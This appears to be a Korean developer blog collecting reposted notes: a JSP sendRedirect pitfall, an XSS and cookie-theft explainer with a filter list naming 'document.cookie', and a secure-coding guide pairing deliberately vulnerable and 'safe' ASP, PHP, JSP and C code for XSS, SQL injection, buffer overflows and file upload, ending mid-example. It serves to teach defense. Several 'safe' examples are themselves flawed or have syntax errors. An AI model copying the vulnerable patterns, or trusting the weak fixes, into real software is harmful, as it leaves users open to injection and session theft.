sendRedirect() 메소드가 하는 일은 웹브라우저에 전송되는 헤더 정보에 어느 페이지로 리다이렉트하라는 정보는 넣는 것 뿐이지, 실제로 JSP 프로그램의 흐름을 변경하는 것은 아니다. 그렇다면 어떻게 이 문제를 해결해야 할까? 간혹, 위 코드를 다음과 같이 변경해서 에러만 발생하지 않도록 문제를 해결하는 경우가 있다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
        if (code == null) code = ""; // 에러만을 막는 비논리적 방법!
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>

간단한 코드에서는 위와 같은 방법으로도 에러를 막을 수가 있다. 하지만, 반드시 로그인을 한 경우에만 실행되어야 하는 코드가 response.sendRedirect() 메소드 이후에 위치한다고 생각해보자. 이런 경우에는 위와 같은 편법만으로는 논리적 오류(로그인을 하지 않았는데도 로그인을 필요로 하는 기능이 수행되는 것)를 막을 수가 없다. 즉, 시스템상에 숨겨진 버그 내지 결함이 발생하는 것이다.

response.sendRedirect() 메소드 이후에 코드가 실행된다는 점을 망각한 코드를 올바르게 수정하기 위해서는 다음과 같이 if-else 블럭을 사용해주어야 한다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        } else {    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>
    <%
        }
    %>

또는 다음과 같은 형태의 코드를 취해도 된다.

    <%@ page contentType = "text/html; charset=euc-kr" %>
    <%
        String code = request.getParameter("code");
        if (code == null) {
            response.sendRedirect("/");
        }
    %>
   
    <%
        if (code != null) {
    %>
    <html>
    <head><title>코드 출력</title></head>
    <body>
    입력한 코드: <%= code.toUpperCase() %>
    </body>
    </html>
    <%
        }
    %>

response.sendRedirect() 메소드가 유용한 기능이지만, 앞에서 살펴본 것 처럼 잘못 사용하면 논리적인 결함이 발생할 수 있다. 이 점에 유의해서 이 기능을 사용하기 바란다.

관련링크:


출처 : http://javacan.tistory.com/78

Posted by 1010
90.개발관련문서2009. 10. 5. 22:24
반응형

IE 8 ㅡㅡ;; "교차"라는 말도 맞긴 하지만, 은근히  애매한듯...


자, 이제 크로스사이트 스크립팅(XSS)에 관하여 정리해보자.


날도 뻐근하고, 봄이면.. 잠만 퍼질러 자는 체질이라.. 너무 놀았네..


XSS사이트 스크립트의 일반적인 공식에 대해서 알아보겠다..


웹 사이트를 들어가보게 되면, 기본적인 게시판, 메일등 사용자가 직접 올릴수 있는 부분이 한개씩은 있기 마련이다.

위의 그림이 XSS의 기본적인 그림을 그린것이다.


1. 공격자는 서버에게 타겟(불특정 다수)이 읽을수 있도록, 내용과 악성 스크립트를 포함시킨 코드를 올리게 된다.


2. 타겟은 글을 읽음으로서, 공격자에게 자신이 의도치 않은 쿠키값을 전송하게 된다.


3. 쿠키 정보를 수집한 공격자는 타겟의 계정과 동일하게 모든 권한을 가지게 된다.


[ 쿠키(Cookie) ]



- 사용자가 어떠한 웹서버의 접속을 요청하게 되면, 로컬 시스템은 쿠키값을 참조하여 접속하게 된다.

   

   기존의 사이트 쿠키값이 없을 경우, 웹 서버에 접속하게 되면 자신의 시스템에 4kbyte이하의 쿠키값이 생성한다.

  

   쿠키값은 사용자의 브라우저의 정보를 쿠키값에 지정하게 되며, Windows_Server에서의 경로를 표시하였다.


각각의 포함된 쿠키값은 Web_Server별로 정리되어져 있으며, 사용자 ID와 접속 서버로 이루어져 있다.


일반적으로 확인하게 되면, Domain Name Server / 구분 ID(숫자) / 쿠키만기일 등의 구조로 이루어질 것이다.


그렇다면?? 왜 쿠키값이 위험한 것일까??


쿠키는 일반적으로 위의 정보를 제외한, 접속자의 개인 정보까지 포함되어 있어 취약점으로 발전해온 것이다.


내가 만약 네이버에 접속하였을 경우, 그에 대한 ID와 PW는 쿠키값이 포함되어져 있다.


네이버에 처음 접속하였다고 하자. 그렇다면 네이버 서버에 접속하게 되면, 4kbyte이하의 쿠키값이 접속 호스트에 저장이 될것이며,


그에 대한 쿠키값은 다음 접속시 접속할 서버는 쿠키값을 가지고, 파악하게 된다.


쿠키값은 접속 종료시 즉각, 정보가 사라지는 것이 아니다.


간혹가다 사이트 계정으로 접속하여, 브라우저를 끄고, 다시 접속해보면 기존의 ID계정으로 접속해있는 것을 보았을 것이다.


[ 쿠키(Cookie)의 중요성 ]


1. 사용자의 계정 정보


2. 자주 방문하는 서버의 정보


3. 장바구니 시스템(물건 구매시 쿠키값에 남는 현상)

    위와 같은 것들이 일반적인 쿠키의 적용 방식이다.


[ XSS 공격 특성 ]

- 기본적인 설명은 위에서 하였으므로, XSS에 대해서 더욱더 들어가보자.


[ 공격 순서 ]

1. 게시판과 같은 응용 프로그램에 스크립트 작성 언어를 올려놓게 된다.(불특정 다수)



2. 파일 열람시 타겟은 자신도 모르게 쿠키값을 가로 채이게 된다.


3. 일반적으로, 공격자는 파로스와 같은 툴로서 쿠키값을 확인하게 된다.




4. 쿠키값을 이용하여, 계정 도용이 가능하다


[ 방어 대책 ]

1. 쿠키 값에 중요한 정보는 응용 프로그램 관리자가 포함되지 않도록 설정.


2. 사용자의 입력 값에대한 필터링

    <script></script> / <javascript> / document.cookie


3. HTML 태그의 미활성화(동적 웹 특성에 대한 HTML활성화.)


4. 스크립트 언어(ASP,PHP,JAVA등)의 문구를 다른 코드로 대체, 혹은 필터링


5. 가장 중요한 것은 관리자의 지속적인 점검


출처 : http://nuninaya.tistory.com/category/%EA%B0%9C%EB%B0%9C/WAS_JBOSS

Posted by 1010
90.개발관련문서2009. 10. 5. 22:21
반응형
Posted by 1010
90.개발관련문서2009. 10. 5. 22:14
반응형

3장 1절 접근통제 취약점


□ 취약한 프로그래밍 예
  1. <HTML>
    <HEAD><TITLE> 관리자 페이지 </TITLE>
    <SCRIPT language="JavaScript“>
    function getCookie(name)
    var cname = name +"=";
    var dc = document.cookie;
  2. if(dc.length > 0)
    begin = dc.indexOf(cname);
    if(begin != -1)
    begin += cname.length;
    end = dc.indexOf(";", begin);
  3. if(end == -1) end = dc.length;
    retrun unescape(dc.substring(begin, end));

  4. return null;
  5. function getValue(element)
    var value = getCookie(element.name);
    if(value != null) element.value = value;
  6. </SCRIPT>
    </HEAD>
    <BODY>
    <SCRIPT language="JavaScript">
    var auth;
    auth = getCookie("logged_in");
  7. if(auth != 1) // 인증 성공 쿠키가 없을경우 Main Page로 이동
    window.location = "http://victim.com/login.html";
  8. </SCRIPT>
  9. 관리자 페이지 내용

□ 안전한 프로그래밍 예

ASP
  1. <%
    If myfunc_userauth(userid, userpw) <> 1 Then 'DB에서 사용자 인증을 처리
    Response.write "인증 실패"
    Else
    If Request.ServerVariables("REMOTE_ADDR") <> "10.10.1.1" Then' 관리자 IP 확인
    Response.write "관리자 IP가 아닙니다."
    Response.write "인증실패“
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    Else
    Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("userid") = userid
    Session("user_ip") = Request.ServerVariables("REMOTE_ADDR")
  2. LogSave($userid, $user_ip)'접속에 사용한 ID 및 IP 기록
  3. ... 중략 ...
    End If
    End If
    %>

  4. o PHP
  5. <?PHP
    @session_start(); //세션 데이터를 초기화
    if(!myfunc_userauth($userid, $userpw) || $_SERVER["REMOTE_ADDR'] != "10.10.1.1")
    //DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
    print "인증 실패";
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    exit;//인증 실패시 종료

  6. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  7. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("userid");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  8. LogSave($userid, $user_ip);// 접속한 사용자 ID 및 IP 기록
    ... 중략 ...

JSP
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
    <%@ page import="java.sql.* " %>
    <%
    //HttpSession session = request.getSession(true);
    String user_ip = request.getRemoteAddr();
  2. // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw) || !user_ip.equals("10.10.1.1"))
    //DB 에서 사용자 인증을 처리, 관리자 IP인지 확인
    out.println "인증 실패";
    LogSave(userid, user_ip, 0)'접속에 실패한 ID 및 IP 기록
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    session.putValue("logged_in","logok");
    session.putValue("userid",userid);
    session.putValue("user_ip", user_ip);
  3. LogSave(userid, user_ip);// 접속한 사용자 ID 및 IP기록
    ...


3장 2절 부적절한 파라미터 - 소스


□ ASP

취약한 프로그래밍 예
  1. <%
    strSize = Request.QueryString("font_size")'사용자로부터 폰트의 크기 입력
  2. Response.Write "<HTML><TITLE>사용자 입력값 검증</TITLE></HEAD>"
    Response.Write "<BODY>"
    Response.Write "<FONT size=" & strSize & ">글자 크기 조절</FONT>"
  3. ' ... 중략 ...

안전한 프로그래밍 예
  1. <%
    Size = Request.QueryString("font_size")' 사용자로부터 폰트의 크기 입력
  2. Size = CInt(Size)' 입력되는 값을 정수로 형 변환
  3. Response.Write "<HTML><TITLE>사용자 입력값 검증</TITLE></HEAD>"
    Response.Write "<BODY>"
    Response.Write "<FONT size=" & Size ">글자 크기 조절</FONT>"
  4. ' ... 중략 ...

□ PHP

취약한 프로그래밍 예
  1. <?PHP
    include "./inc/dbconn.inc";// DB 연결 헤더
    include $language . "/head.html";// 각 국가 언어별 HTML 출력
  2. $conn = mysql_connect($SERVER, $USER, $PASSWD);
    $query = "select count(*) from main_tbl";
  3. // ... 중략 ...

안전한 프로그래밍 예
  1. <?PHP
    @require_once "./inc/dbconn.inc";// DB 연결 헤더
    $default_lang = "korea";// 기본값 설정
  2. if(!file_exists($language."/head.html")) // 파일이 존재하는지 체크
    if(eregi(":\/\/", $language)) $language = $default_lang;// URL이 포함되는지 체크
    else // 파일이 없는 경우 기본값 설정
    $language = $default_lang;
  3. @require_once $language . "/head.html";// 각 국가 언어별 HTML 출력
  4. $conn = @mysql_connect($SERVER, $USER, $PASSWD);
    $query = "select count(*) from main_tbl";
  5. // ... 중략 ...

□ JSP

취약한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
  2. <HTML><HEAD><TITLE> 사이트 접속 불가 </TITLE>
    <META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://victim.com/bye.html">
    </HEAD>
    <BODY>
    <%
    out.print("지금 사용하고 계신 ");
    out.print(request.getHeader("USER-AGENT"));
    out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
    %>
    </BODY>
    </HTML>

안전한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.* " %>
  2. <HTML><HEAD><TITLE> 사이트 접속 불가 </TITLE>
    <META HTTP-EQUIV="Refresh" CONTENT="10;URL=http://victim.com/bye.html">
    </HEAD>
    <BODY>
    <%
    String user_agent = request.getHeader("USER-AGENT");
  3. // HTTP HEADER 중 USER_AGENT를 변경 하여 크로스사이트 스크립트 공격하는 것을 차단
    user_agent = user_agent.replaceAll("<","&lt;");// HTML tag가 있을 경우 제거
    user_agent = user_agent.replaceAll(">","&gt;");
  4. out.print("지금 사용하고 계신 ");
    out.print(user_agent);
    out.print(" 브라우져로는 사이트 접속이 불가능 합니다.");
  5. %>
    </BODY>
    </HTML>

3장 3절 취약한 세션 관리 (Cookie Injection) - 소스


□ ASP

취약한 프로그래밍 예
  1. 'login_ok.asp 사용자 인증 처리를 하는 스크립트
    <%
      ' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
      If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
        Response.write "인증 실패"
      Else
      '인증에 성공한 경우 처리 해야 되는 부분
        Response.Cookies("logged_in") = 1
        ' 인증에 성공했을경우 logged_in 에 1의 값을 셋팅
        Response.Cookies("userid") = userid
      End If
      ...
    %>
  2. user_menu.asp' 사용자 검증이 필요한 페이지
    <%
      IF Request.Cookies("logged_in") = 1 Then
        Response.write "허가된 사용자 입니다."
      Else
        Response.write "허가되지 않은 사용자 입니다."
      End If
    %>

안전한 프로그래밍 예
  1. ‘login_ok.asp 사용자 인증 처리를 하는 스크립트
    <%
    ' form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    If myfunc_userauth(userid, userpw) <> 1 Then ' DB 에서 사용자 인증을 처리하는 부분
    Response.write "인증 실패"
    Else
    '인증에 성공한 경우 처리 해야 되는 부분
  2. If Session("logged_in") <> 1 Then
    Session("logged_in") = 1'인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Session("userid") = userid
    Session("user_ip") = Request.Servervariables("REMOTE_ADDR")
    End If
    End If
    ...
    %>
  3. ‘user_menu.asp 사용자 검증이 필요한 페이지
    <%
    IF Session("user_ip) = Request.Servervariables("REMOTE_ADDR") AND Session("logged_in") = 1 Then
    '인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    '...
    Else
    Response.write "허가되지 않은 사용자 입니다."
    End If
    %>

□ PHP

취약한 프로그래밍 예
  1. //login_ok.php// 사용자 인증 처리를 하는 스크립트
    <?PHP
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth($userid,$userpw))  //DB 에서 사용자 인증을 처리하는 부분
    print "인증 실패";
    exit;//인증 실패시 종료

  2. //인증에 성공한 경우 처리 해야 되는 부분
    setcookie("logged_in", "1");//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    setcookie("userid", $userid);
    ...
    ?>
  3. //user_menu.php// 사용자 검증이 필요한 페이지
    <?PHP
    if($_COOKIE["logged_in"] == 1)
    echo "인증 성공: " . $_COOKIE["userid"];
  4. ?>

=================================================================================================================

 o 안전한 프로그래밍 예

  1. //login_ok.php// 사용자 인증 처리를 하는 스크립트
    <?PHP
    @session_start(); //세션 데이터를 초기화
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth($userid,$userpw))  //DB 에서 사용자 인증을 처리하는 부분
    print "인증 실패";
    exit;//인증 실패시 종료
  2. //인증에 성공한 경우 처리 해야 되는 부분
    if (!session_is_registered("logged_in"))
  3. $logged_in = 1;//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    $user_ip = $_SERVER["REMOTE_ADDR"];
    session_register("logged_in");//인증 결과 저장
    session_register("userid");//사용자 ID를 저장
    session_register("user_ip");//사용자 IP를 저장
  4. ...
    ?>
  5. //user_menu.php// 사용자 검증이 필요한 페이지
    <?PHP
    session_start();
    if(strcmp($_SESSION['user_ip'], $_SERVER['REMOTE_ADDR']) == 0 && session_is_registered('logged_in'))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    else
    print "허가되지 않은 사용자 입니다.";
    exit;
  6. ?>

□ JSP

취약한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
    //login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
    <%
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw))  //DB 에서 사용자 인증을 처리하는 부분
    out.println "인증 실패";
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    Cookie cookie1 = new Cookie("logged_in", "1");
    response.addCookie(cookie1);//인증에 성공했을경우 logged_in 에 1의 값을 셋팅
    Cookie cookie2 = new Cookie("userid", userid);
    response.addCookie(cookie2);
    ...
    %>
  2. //user_menu.jsp// 사용자 검증이 필요한 페이지
    <%
    Cookie[] cookies = request.getCookies();
    for(int i=0; i< cookies.length; i++)
    Cookie thisCookie = cookie[i];
    if(thisCookie.getName.equals("logged_in"))
    String logged_in = thisCookie.getValue();
    if(thisCookie.getName.equals("userid"))
    String userid = thisCookie.getValue();

  3. if(logged_in.equals("1"))
    out.println("인증 성공: " + userid);
  4. %>

안전한 프로그래밍 예
  1. <%@ page contentType="text/html;charset=euc-kr" %>
    <%@ page import="java.util.*" %>
    <%@ page import="java.sql.* " %>
    //login_ok.jsp// 사용자 로그인 처리를 하는 스크립트
    <%
    //HttpSession session = request.getSession(true);
    // form 에서 사용자 id와 사용자 password를 아래 변수로 전달
    if(!myfunc_userauth(userid, userpw))  //DB 에서 사용자 인증을 처리하는 부분
    out.println "인증 실패";
    else
    //인증에 성공한 경우 처리 해야 되는 부분
    session.putValue('logged_in',"1");
    session.putValue('userid',userid);
    session.putValue('user_ip',request.getRemoteAddr());
    ...
    %>
  2. //user_menu.jsp// 사용자 검증이 필요한 페이지
    <%
    //HttpSession session = request.getSession(true);
    String user_ip = session.getValue("user_ip");
  3. if(user_ip.equals(request.getRemoteAddr()) && logged_in.equals("1"))
    //인증에 성공한 IP와 사용자 IP를 비교, 인증 여부 비교
    //...
    else
    out.println "허가되지 않은 사용자 처리.";
  4. %>


3장 4절 악의적인 명령 실행(XSS) - 소스


□ ASP

취약한 프로그래밍 예
  1. <%
    Set objDBConn = Server.CreateObject("ADODB.Connection")' 게시물 읽기
    Set objRs = Server.CreateObject("ADODB.RecordSet")
    objDBConn.Open "board", "user", "passwd"
  2. query = "SELECT id, name, memo FROM board_tbl WHERE id=1"
    objRs.Open query, objDBConn
  3. memo = objRs("memo")
    Response.write "게시물 내용-" & memo & "<BR>"' DB에서 게시판의 내용 출력

안전한 프로그래밍 예
  1. If use_html Then' HTML tag를 사용하게 할 경우 부분 허용
    memo = Server.HTMLEncode(memo) 'HTML tag를 모두 제거
  2. ' 허용할 HTML tag만 변경
    memo = replace(memo, "&lt;p&gt;", "<p>")
    memo = replace(memo, "&lt;P&gt;", "<P>")
    memo = replace(memo, "&lt;br&gt;", "<br>")
    memo = replace(memo, "&lt;BR&gt;", "<BR>")
  3. Else' HTML tag를 사용하지 못하게 할 경우
    memo = Server.HTMLEncode(memo)' HTML encoding 수행
    memo = replace(memo, "<", "&lt;")
    memo = replace(memo, ">", "&gt;")
    End If
  4. Response.write "게시물 내용-" & memo & "<BR>"

□ PHP

취약한 프로그래밍 예
  1. $query = "SELECT id, name, memo FROM board_tbl WHERE id=1";// 게시물 읽기
    $result = mysql_query($query, $connect);
  2. while($row = mysql_fetch_array($result))
    $name = $row[name];
    $memo = $row[memo];
    echo "게시물 내용-" . $memo . "<BR>\n";// DB에서 게시판의 내용을 출력

안전한 프로그래밍 예
  1. $use_tag = "img,font,p,br";// 허용할 HTML tag
  2. if($use_html == 1) // HTML tag를 사용하게 할 경우 부분 허용
    $memo = str_replace("<", "&lt;", $memo);// HTML TAG를 모두 제거
  3. $tag = explode(",", $use_tag);
    for($i=0; $i<count($tag); $i++) // 허용할 TAG만 사용 가능하게 변경
    $memo = eregi_replace("&lt;".$tag[$i]." ", "<".$tag[$i]." ", $memo);
    $memo = eregi_replace("&lt;".$tag[$i].">", "<".$tag[$i].">", $memo);
    $memo = eregi_replace("&lt;/".$tag[$i], "</".$tag[$i], $memo);
  4. else // HTML tag를 사용하지 못하게 할 경우
  5. // $memo = htmlspecialchars($memo);
    // htmlspecialchars() 사용시 일부 한글이 깨어지는 현상이 발생 할 수 있음
  6. $memo = str_replace("<", "&lt;", $memo);
    $memo = str_replace(">", "&gt;", $memo);

  7. echo "게시물 내용-" . $memo . "<BR>\n";

□ JSP

취약한 프로그래밍 예
  1. Connection conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
    Statement stmt = conn.createStatement();
    ResultSet rs=null;
  2. String query = "SELECT memo FROM board_tbl WHERE id=1";
    rs = stmt.executeQuery(query);
    String memo = rs.getString(1);
    out.print("게시물 내용-" + memo + "<BR>");

안전한 프로그래밍 예
  1. if(use_html) // HTML tag를 사용하게 할 경우 부분 허용
    memo = memo.replaceAll("<","&lt;");//HTML tag를 모두 제거
    memo = memo.replaceAll(">","&gt;");
  2. // 허용할 HTML tag만 변경
    memo = memo.replaceAll("&lt;p&gt;", "<p>");
    memo = memo.replaceAll("&lt;P&gt;", "<P>");
    memo = memo.replaceAll("&lt;br&gt;", "<br>");
    memo = memo.replaceAll("&lt;BR&gt;", "<BR>");
  3. else // HTML tag를 사용하지 못하게 할 경우
    memo = memo.replaceAll("<","&lt;");
    memo = memo.replaceAll(">","&gt;");
  4. out.print("게시물 내용-" + memo + "<BR>");


3장 5절 버퍼 오버플로우 - 소스


□ strcpy() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strcpy(buffer, str);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strncpy(buffer, str, sizeof(buffer)-1);
    buffer[sizeof(buffer)-1] = 0;
    return;
    }

□ strcat() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strcat(buffer, str);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    strncat(buffer, str, sizeof(buffer)-1);
    return;
    }

□ sprintf() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    sprintf(buffer, "%s", str);
    return;
    }

 

□ gets() 함수의 대체

취약한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    gets(buffer);
    return;
    }

안전한 프로그래밍 예
  1. void func(char *str) {
    char buffer[256];
    fgets(buffer, sizeof(buffer)-1, stdin);
    return;
    }

□ scanf(), sscanf(), fscanf() 함수의 대체

취약한 프로그래밍 예
  1. void func() {
    char buffer[256];
    int num;
    num = fscanf(stdio, "%s", buffer); char buffer[256];
    return;
    }

안전한 프로그래밍 예
  1. void func() {
    char buffer[256];
    int num;
    num = fscanf(stdio, "%255s", buffer);
    return;
    }

□ C로 개발한 프로그램

버퍼오버플로우 취약점 예제
  1. #include <stdio.h>
    #include <string.h>
    #define FILENAME "/usr/local/apache/cgi-bin/counter.dat"
  2. int main() {
    FILE *fp;
    int counter=0;
    char envc[255], *env;
  3. env = getenv("HTTP_USER_AGENT");
  4. printf("Content-Type: text/html \n\n");
  5. if (!env)
                    exit(1);
  6. strcpy(envc, env);
    strtok(envc," ");
  7. if((fp=fopen(FILENAME,"rt")) == NULL ) exit(1);
    fscanf(fp,"%d",&counter);
    fclose(fp);
    printf("<FONT size=2><B>VISIT</B>: %d / <B>BROWSER</B>: %s</FONT>\n",counter, envc);
  8. if((fp=fopen(FILENAME,"wt")) == NULL ) exit(1);
    fprintf(fp,"%d\n",counter+1);
    fclose(fp);
  9. return 0;
    }

버퍼오버플로우 취약점 제거 예제
  1. #include <stdio.h>
    #include <string.h>
    #define FILENAME "/usr/local/apache/cgi-bin/counter.dat"
  2. int main() {
    FILE *fp;
    int counter=0;
    char envc[255], *env;
  3. env = getenv("HTTP_USER_AGENT");
    printf("Content-Type: text/html \n\n");
  4. if (!env)
                    exit(1);

  5. strncpy(envc, env, sizeof(envc)-1);
    strtok(envc," ");
  6. if((fp=fopen(FILENAME,"rt")) == NULL ) exit(1);
    fscanf(fp,"%d",&counter);
    fclose(fp);
    printf("<FONT size=2><B>VISIT</B>: %d / <B>BROWSER</B>: %s</FONT>\n",counter, envc);

  7. if((fp=fopen(FILENAME,"wt")) == NULL ) exit(1);
    fprintf(fp,"%d\n",counter+1);
    fclose(fp);
  8. return 0;
    }

3장 6절 악의적인 명령어 주입 공격 (SQL Injection) - 소스


□ ASP

취약한 SQL Injection 예제
  1. prodId = Request.QueryString("productId")
  2.  Set conn = server.createObject("ADODB.Connection")
     Set rs = server.createObject("ADODB.Recordset")
  3.  query = "select prodName from products where id = " & prodId
  4.  conn.Open "Provider=SQLOLEDB; Data Source=(local);
     Initial Catalog=productDB; User Id=dbid; Password="
     rs.activeConnection = conn
     rs.open query
  5.  If not rs.eof Then
     response.write "제품명" & rs.fields("prodName").value
     Else
     response.write "제품이 없습니다"
     End If

안전한 SQL Injection 예제
  1. prodId = Request.QueryString("productId")
    prodId = replace(prodId, "'", "''")' 특수문자 제거
    prodId = replace(prodId, ";", "")
    set conn = server.createObject("ADODB.Connection")
    set rs = server.createObject("ADODB.Recordset")
    query = "select prodName from products where id = " & prodId
    conn.Open "Provider=SQLOLEDB; Data Source=(local);
    Initial Catalog=productDB; User Id=dbid; Password="
    rs.activeConnection = conn
    rs.open query
    If not rs.eof Then
    response.write "제품명" & rs.fields("prodName").value
    Else
    response.write "제품이 없습니다"
    End If

□ PHP

취약한 SQL Injection 예제
  1. $query = "SELECT id, password, username FROM user_table WHERE id='$id'";
    // 사용자로부터 입력받은 id 값을 사용자 table에서 조회
    $result = OCIParse($conn, $query);
    if (!OCIExecute($result))
    echo "<META http-equiv=\"refresh\" content=\"0;URL=http://victim.com\">";
    // 메인 페이지로 redirect
  2. OCIFetchInto($result, &$rows);
    ... 중략 ...

안전한 SQL Injection 예제
  1. $query = sprintf("SELECT id,password,username FROM user_table WHERE id='%s';",addslashes($id));
    // id변수를 문자형으로 받고, id변수의 특수문자를 일반문자로 변환한다.
  2. // @ 로 php 에러 메시지를 막는다.
    $result = @OCIParse($conn, $query);
    if (!@OCIExecute($result))
    error("SQL 구문 에러");
    exit;
  3. @OCIFetchInto($result,&$rows);
    ... 중략 ...

□ JSP

취약한 SQL Injection 예제
  1. String sql = "SELECT * FROM user_table" + " WHERE id = " + response.getParameter("id") + " AND password = " + response.getParameter("password");
  2. Class.forName("org.gjt.mm.mysql.Driver");
    conn = DriverManager.getConnection(DB_URL, DB_USER, DB_PASSWORD);
  3. stmt = conn.createStatement();
    rs = stmt.executeQuery(query);
  4. while(rs.next())

안전한 SQL Injection 예제
  1. String sql = "SELECT * FROM user_table" + " WHERE id = ?" + " AND password = ?";
    ResultSet rs = null;
    PreparedStatement pstmt = null;
    try
    conn = DBManager.getConnection();
    pstmt = conn.prepareStatement(sql);
  2. pstmt.setString(1, request.getParameter("id"));
    pstmt.setString(2, request.getParameter("password"));
  3. rs = pstmt.executeQuery();

3장 7절 업로드 취약점 - 소스


□ ASP

취약한 파일 업로드 예
  1. <%
    Set Up = Server.CreateObject("SiteGalaxyUpload.Form")
  2. uploadPath = server.mappath(".") & "\upload\"' 업로드 디렉토리
  3. Fname = Up("file1")
    if Fname <> "" then'파일 첨부가 되었으면
    fileName=Mid(Fname,InstrRev(Fname,"\")+1)'파일이름부분 추출
    savePath = uploadPath & fileName
  4. Set fso = CreateObject("Scripting.FileSystemObject")
    Up("file1").SaveAs(savePath)
    response.write(savePath & " 저장 완료")
    else
    response.write("Error")
    end if
  5. Set Up = nothing
    %>

안전한 파일 업로드 예
  1. <%
    Set Up = Server.CreateObject("SiteGalaxyUpload.Form")
    Path1 = server.mappath(".") & "\upload\"
  2. Fname = Up("file1")
  3. if Fname <> "" then'파일 첨부가 되었으면
  4. if Up("file1").Size > 10240 then' 용량 제한
    Response.Write "용량 초과"
    Response.End
    end if
  5. if Up("file1").MimeType <> "image" then' 이미지만 업로드 허용
    Response.Write "이미지 파일이 아닙니다."
    Response.End
    end if
  6. Filename=Mid(Fname,InstrRev(Fname,"\")+1)'파일이름부분 추출
  7. ' 중복시에 파일이름부분을 변경하기 위해 분리를 한다
    Farry=split(Filename,".")'.을 기준으로 분리
    preFname=Farry(0)'파일이름 앞부분
    extFname=Farry(1)'파일의 확장자
  8. ' 저장할 전체 path를 만든다, 파일이름을 구한다
    Path2 = Path1 & Filename
    saveFname=preFname & "." & extFname

  9. Set fso = CreateObject("Scripting.FileSystemObject")
    countNo = 0' 파일 중복될경우 셋팅 값
    fExist=0' 같은 이름의 파일 존재 체크
  10. Do until fExist = 1
    If(fso.FileExists(Path2)) Then
    countNo = countNo + 1
    Path2 = Path1 & preFname & countNo & "." & extFname
    saveFname=preFname & countNo & "." & extFname
    else
    fExist=1
    End If
    Loop
  11. Up("file1").SaveAs(Path2)
    response.write(saveFname & " 저장완료")
    else
    response.write("Error")
    end if
  12. Set Up = nothing
    %>

□ PHP

취약한 파일 업로드 예
  1. <?php
    $uploaddir = '/var/www/uploads/';
  2. $uploadfile = $uploaddir. $_FILES['userfile']['name'];
  3. if(copy($_FILES['userfile']['tmp_name'], $uploadfile))
    print "성공적으로 업로드 되었습니다.";
    print_r($_FILES);
    else
    print "파일 업로드 실패";
    print_r($_FILES);
  4. ?>

안전한 파일 업로드 예
  1. <?php
    $uploaddir = '/var/www/uploads/';
  2. //파일 사이즈가 0byte 보다 작거나 최대 업로드 사이즈보다 크면 업로드를 금지 시킨다.
    if($_FILES['userfile']['name'])
    if($_FILES['userfile']['size'] <= 0)  // 최대 업로드 사이즈 체크 삽입
    print "파일 업로드 에러";
    exit;
  3. //파일 이름의 특수문자가 있을 경우 업로드를 금지 시킨다.
    if (eregi("[^a-z0-9\._\-]",$_FILES['userfile']['name']))
    print "파일 이름의 특수문자 체크";
    exit;
  4. //파일 확장자중 업로드를 허용할 확장자를 정의한다.
    $full_filename = explode(".", $_FILES['userfile']['name']);
    $extension = $full_filename[sizeof($full_filename)-1];
  5. /* PHP의 경우 확장자 체크를 할 때 strcmp(확장자,"php3"); 로 체크를 하게 되면
    pHp3 이나 phP3는 구별을 하지 못하게 되므로 strcasecmp처럼 대소문자 구별을 하지
    않고 비교하는 함수를 사용한다. 또한 .를 기준으로 하여 확장자가 하나로 간주하고
    프로그램을 할 경우 file.zip.php3 이라고 올린다면 zip파일로 인식하고 그냥 첨부가
    되므로 아래와 같이 제일 끝에 존재하는 확장자를 기준으로 점검하도록 한다. */
  6. $extension= strtolower($extension);
